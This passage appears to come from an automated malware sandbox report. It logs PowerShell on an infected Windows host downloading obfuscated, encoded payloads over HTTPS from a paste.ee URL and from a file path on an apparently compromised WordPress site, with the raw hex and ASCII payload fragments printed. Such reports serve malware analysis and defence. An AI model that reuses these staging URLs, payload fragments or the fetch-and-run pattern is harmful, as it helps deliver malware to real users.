Ascii: :aiJRsGbxI:::qiJRxymwM:cBwoCw::BqIoCg::ChYWFSgN:::KJnKf:wBwGCgL:::GfgU:::RywQM:cBYoCw::BigM:::KFhYVK
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 43 4a 70 76 46 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 4d 4a 47 53 75 38 46 78 4d 4b 47 69 75 32 45 51 6f 52 43 58 49 76 42 e2 86 93 3a e2 86 93 42 77 47 69 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 62 78 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 75 4c 42 45 4b 45 51 6c 79 51 51 51 e2 86 93 3a e2 86 93 63 42 59 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6d 38 56 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4c 68 59 52 43 68 45 4a 63 6c 63 45 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 61 4b e2 86 93 3a e2 86 93 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 5a 76 46 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6a 4d 46 33 59 38 47 e2 Data Ascii: CJpvFw::ChMJGSu8FxMKGiu2EQoRCXIvB:BwGigL:::GbxU:::ouLBEKEQlyQQQ:cBYoCw::Bm8V:::KLhYRChEJclcE:H:aK:s:::ZvFQ::CjMF3Y8G
2024-10-03 07:28:12 UTC	1369	IN	Data Raw: 93 3a e2 86 93 6f 47 47 79 67 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 63 69 59 47 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 5a 4b e2 86 93 3a e2 86 93 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 6f 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 77 65 4f 49 7a 39 2f 2f 38 6f 48 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6d 38 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4a 68 38 4a 4f 48 72 39 2f 2f 38 6f 48 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6d 38 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4a 67 63 58 6d 6e 49 77 42 67 42 77 47 43 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 62 79 Data Ascii: :oGGygE:::GciYG:H:ZK:s:::YoD:::CgweOIz9//8oHQ::Cm8e:::KJh8JOHr9//8oHw::Cm8e:::KJgcXmnIwBgBwGCgL:::Gby
2024-10-03 07:28:12 UTC	1355	IN	Data Raw: e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 62 79 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 4e 46 69 73 42 46 6b 55 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 72 4a 51 6c 79 64 67 59 e2 86 93 3a e2 86 93 63 42 67 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6e 4a 36 42 67 42 77 47 43 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 62 79 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 4e 46 79 76 52 46 43 59 59 4b 38 7a 64 6d e2 86 93 3a Data Ascii: :::Kbyg:::oNFisBFkUC:::::g:::CI::::rJQlydgY:cBgoCw::BnJ6BgBwGCgL:::Gbyo:::oNFyvRFCYYK8zdm:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	188.114.97.3	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:18 UTC	43	OUT	GET /d/b5xuX/0 HTTP/1.1 Host: paste.ee
2024-10-03 07:28:18 UTC	1204	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:18 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ql8eKOp38A0KESyl7rHecI9lM0UGOmeAXIH33uit8JLDaNBigHF8ITrJTbgg7cFuqTmF8YHP0GLmz%2BHxK6DtlioJuxTckgUXq7dY85SGqpWGFG%2B1B1c%2B27uCJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccb36f16b8941ff-EWR
2024-10-03 07:28:18 UTC	165	IN	Data Raw: 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 Data Ascii: f7fTVqQ::M::::E:::://8::Lg:::::::::Q
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a Data Ascii: :::::::::::::::::::::::::::::::::::::
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 52 54 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 50 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 Data Ascii: :::::::::::::RT::BP:::::G:::EgD::::::::::::
2024-10-03 07:28:18 UTC	1071	IN	Data Raw: 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 32 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 Data Ascii: :::G:ucnNyYw:::EgD::::Y:::::Q::::2:::::::::::::::
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 Data Ascii: 4000:::::::::::::::::::::::::::::::::::
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 79 4d 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 63 42 73 6f 53 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6e 4a 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 77 47 53 68 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4b e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 75 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 48 4a 64 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 77 48 69 68 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 63 6d 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 5a 4b 45 6b e2 86 93 3a Data Ascii: :::::ByMQ::cBsoSQ::BnJD::BwGShJ:::GK:E::Cu:C:::BHJd::BwHihJ:::Gcm8::H:ZKEk:
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: e2 86 93 45 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 43 6f 65 e2 86 93 3a e2 86 93 69 67 53 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 4b 6f 34 50 e2 86 93 3a e2 86 93 43 67 53 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 44 77 45 6f 45 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 74 e2 86 93 3a e2 86 93 46 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 62 4b e2 86 93 3a e2 86 93 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 6f 48 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 72 4b 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 73 77 44 e2 86 93 3a e2 86 93 44 39 42 51 Data Ascii: EQ::BCoe:igS:::KKo4P:CgS:::GDwEoEw::Bt:F:::bK:8:::ooHw::CigL:::rKg:::BswD:D9BQ
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 4d 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 45 77 55 58 4b 39 51 52 42 53 67 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 62 7a 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 59 4b 38 55 52 42 58 4c 42 e2 86 93 3a e2 86 93 67 42 77 48 43 68 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 63 7a 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 70 76 4e e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6e 49 46 e2 86 93 3a e2 86 93 77 42 77 48 53 68 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 46 52 59 6f 4e 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 Data Ascii: :::HMw:::KEwUXK9QRBSgx:::KbzI:::oYK8URBXLB:gBwHChJ:::GczM:::pvN:::CnIF:wBwHShJ:::GFRYoNQ::
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 2b e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 68 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4e 30 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2b 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 34 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 5a e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 62 67 45 e2 86 93 3a e2 86 93 e2 86 93 3a Data Ascii: :::J::::DM:::B+::::hw:::N0:::Dw::::+Q:::B4B::BZ:Q::bgE::
2024-10-03 07:28:18 UTC	1369	IN	Data Raw: 86 93 70 36 66 67 34 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 52 44 58 73 54 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 45 52 59 44 45 52 51 53 43 32 38 36 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4c 51 5a 7a 50 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6e 6f 52 44 69 44 34 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 31 68 4d 58 48 77 6f 34 54 76 37 2f 2f 77 4d 52 44 68 7a 57 4b 45 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 58 32 68 4d 61 48 77 73 34 4f 66 37 2f 2f 78 59 54 47 78 38 4d 4f 43 2f 2b 2f 2f 38 34 70 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 Data Ascii: p6fg4:::QRDXsT:::EERYDERQSC286:::GLQZzPg::CnoRDiD4::::1hMXHwo4Tv7//wMRDhzWKEE:::oX2hMaHws4Of7//xYTGx8MOC/+//84p:::::

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49719	173.231.247.100	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 07:28:19 UTC	106	OUT	GET /wp-includes/customize/css/bd.txt HTTP/1.1 Host: www.gratitudeseekers.com Connection: Keep-Alive
2024-10-03 07:28:19 UTC	209	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:28:19 GMT Server: Apache Last-Modified: Tue, 01 Oct 2024 10:57:16 GMT Accept-Ranges: bytes Content-Length: 658776 Connection: close Content-Type: text/plain
2024-10-03 07:28:19 UTC	7983	IN	Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBA
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 56 31 77 45 4e 32 54 6a 37 30 6b 4d 4e 42 54 7a 6b 30 77 49 4e 37 52 54 63 30 63 47 4e 67 52 54 55 30 73 45 4e 45 52 54 4f 79 30 72 4d 79 4b 6a 55 78 6f 66 4d 30 48 6a 37 78 73 64 4d 4e 48 54 78 78 34 61 4d 6b 47 54 6d 78 4d 5a 4d 4f 47 54 61 78 41 57 4d 38 45 44 4e 77 55 50 4d 74 44 44 72 77 45 4b 4d 4f 42 44 53 41 41 41 41 67 43 41 42 51 43 77 50 68 2f 54 32 2f 73 38 50 44 2f 6a 75 2f 45 37 50 70 2b 54 6f 2f 6b 35 50 4f 2b 44 66 2f 51 33 50 6f 39 44 59 2f 63 31 50 4f 39 6a 52 2f 34 7a 50 32 38 6a 4c 2f 45 79 50 56 38 54 44 2b 38 73 50 6a 36 7a 64 2b 41 6c 50 4b 35 44 52 2b 34 6a 50 32 34 6a 4d 2b 63 69 50 59 34 44 44 39 73 66 50 76 33 54 33 39 6b 62 50 71 32 44 6e 39 6f 58 50 31 31 44 63 39 77 56 50 52 31 44 50 39 38 53 50 6b 77 54 39 38 63 4e 50 53 7a Data Ascii: V1wEN2Tj70kMNBTzk0wIN7RTc0cGNgRTU0sENERTOy0rMyKjUxofM0Hj7xsdMNHTxx4aMkGTmxMZMOGTaxAWM8EDNwUPMtDDrwEKMOBDSAAAAgCABQCwPh/T2/s8PD/ju/E7Pp+To/k5PO+Df/Q3Po9DY/c1PO9jR/4zP28jL/EyPV8TD+8sPj6zd+AlPK5DR+4jP24jM+ciPY4DD9sfPv3T39kbPq2Dn9oXP11Dc9wVPR1DP98SPkwT98cNPSz
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 48 32 49 52 4e 76 57 6a 6f 31 51 59 4e 2b 56 44 65 31 45 58 4e 6d 56 7a 56 31 67 51 4e 43 51 6a 34 30 30 4e 4e 52 54 7a 76 30 41 4b 4e 61 53 7a 6b 30 67 49 4e 66 52 7a 56 30 55 45 4e 2f 51 7a 4a 30 67 78 4d 6e 50 54 34 7a 34 38 4d 2f 4f 54 66 7a 73 30 4d 6d 4d 54 41 79 77 71 4d 64 4b 7a 56 79 55 6b 4d 65 45 54 38 78 67 65 4d 67 48 44 77 78 6b 61 4d 63 47 6a 6b 78 4d 59 4d 76 46 6a 54 78 6b 55 4d 44 46 7a 4b 78 51 43 4d 6b 43 54 62 77 67 46 41 41 41 41 33 41 45 41 49 41 41 41 41 2f 63 6d 50 6a 36 44 6e 2b 55 70 50 4f 36 44 68 2b 51 6c 50 4e 35 6a 42 39 49 65 50 30 31 44 4b 39 30 52 50 4f 30 7a 41 38 41 50 50 4f 7a 7a 74 38 55 35 4f 4a 6e 44 66 35 41 32 4e 66 66 44 57 33 77 30 4e 71 63 7a 46 33 34 77 4e 47 63 44 41 32 4d 76 4e 75 62 6a 34 32 30 74 4e 52 62 Data Ascii: H2IRNvWjo1QYN+VDe1EXNmVzV1gQNCQj400NNRTzv0AKNaSzk0gINfRzV0UEN/QzJ0gxMnPT4z48M/OTfzs0MmMTAywqMdKzVyUkMeET8xgeMgHDwxkaMcGjkxMYMvFjTxkUMDFzKxQCMkCTbwgFAAAA3AEAIAAAA/cmPj6Dn+UpPO6Dh+QlPN5jB9IeP01DK90RPO0zA8APPOzzt8U5OJnDf5A2NffDW3w0NqczF34wNGcDA2MvNubj420tNRb
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 41 41 41 77 2f 41 6f 36 2f 2f 44 51 6b 33 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 4b 43 2f 2f 41 6f 49 38 2f 44 67 69 77 2f 50 41 52 65 2f 2f 41 6f 36 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAw/Ao6//DQk3/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PAKC//AoI8/Dgiw/PARe//Ao6/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 2f 6a 48 65 59 2b 66 6b 52 61 38 2f 70 6d 4b 33 2f 4c 73 77 31 2f 50 33 63 2f 2f 2f 34 6a 2f 2f 2f 76 39 32 73 76 38 6b 54 61 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAA/jHeY+fkRa8/pmK3/Lsw1/P3c///4j///v92sv8kTaMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 07:28:19 UTC	8000	IN	Data Raw: 6c 56 71 38 2f 57 61 4a 7a 2f 2f 34 6a 37 36 4f 50 38 49 6b 36 70 6b 53 4b 71 72 69 4b 71 6f 75 4b 71 6f 79 31 72 73 79 4b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 76 65 32 5a 6e 68 65 63 78 5a 49 36 77 42 6e 68 6f 4c 6e 63 48 69 2b 63 7a 78 49 36 31 56 58 6b 6f 66 33 64 54 69 75 65 36 6c 4a 36 39 31 6e 6e 7a 32 58 66 58 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: lVq8/WaJz//4j76OP8Ik6pkSKqriKqouKqoy1rsyKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAve2ZnhecxZI6wBnhoLncHi+czxI61VXkof3dTiue6lJ691nnz2XfXCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
